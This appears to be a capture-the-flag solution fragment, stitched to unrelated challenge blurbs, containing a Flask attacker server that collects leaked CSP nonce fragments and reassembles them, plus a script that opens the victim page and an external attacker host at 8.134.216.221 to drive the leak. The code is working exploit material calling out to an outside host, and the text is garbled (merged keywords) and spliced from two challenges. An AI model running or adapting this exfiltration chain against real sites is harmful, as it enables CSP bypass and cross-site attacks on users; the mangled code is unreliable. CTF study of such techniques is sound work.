The original code is from Codegate 2023. The original author in the package.json @as3617 is not involved in this challenge. The solution is completely different so you do not need to worry about not attending the prior competition!
defcomplete_string(start, fragments): # 将起始字符串加入结果中 result = start # 当还有片段时,继续循环
while fragments: for i, fragment inenumerate(fragments): # 如果片段的前两个字符与结果的最后两个字符匹配,加入这个片段的最后一个字符 if fragment[:2] == result[-2:]: result += fragment[-1]
# 从片段列表中移除已经使用的片段 fragments.pop(i) break # 加入结束字符串 print(len(result)) return result
deffind_start(fragments): for i, fragment inenumerate(fragments): a = True for fragment2 in fragments: if fragment[:2] == fragment2[-2:]: a = False break if a: start = fragment fragments.pop(i) return start, fragments
fragments = [] nonce = ""
@app.route('/') defhome(): global fragments, nonce if request.args.get('p'): p = request.args.get('p') fragments.append(p) iflen(fragments) == 30: start, fragments = find_start(fragments) nonce = complete_string(start, fragments) return''
@app.route('/start') defstart(): # http://localhost/share/read#id=29&username=teltel -> # <link rel="stylesheet" href="https://unpkg.com/[email protected]/1.css"> return'''<script> a = window.open("http://localhost/share/read#id=29&username=teltel"); function leak(){ b = window.open("http://8.134.216.221:1234/exploit"); function leak2(){ b.location = "http://localhost/share_diary/0" function leak3() { a.location = "http://localhost/share/read#id=0" } setTimeout(leak3,3000); } setTimeout(leak2,3000); } setTimeout(leak,3000);</script> '''
if __name__ == '__main__': app.run(debug=True,port=1234,host="0.0.0.0")
olapinfra
Behold! The epitome of stylish Internet infrastructure! Trailing closely behind the likes of LLM, Cloud Native, Web3, low-code platforms, and anything else you can imagine!
(After the instance successfully runs, the service is still in the process of initialization. You may need to wait for >= 1 min before you can attack it. So run it locally before you can get the flag.)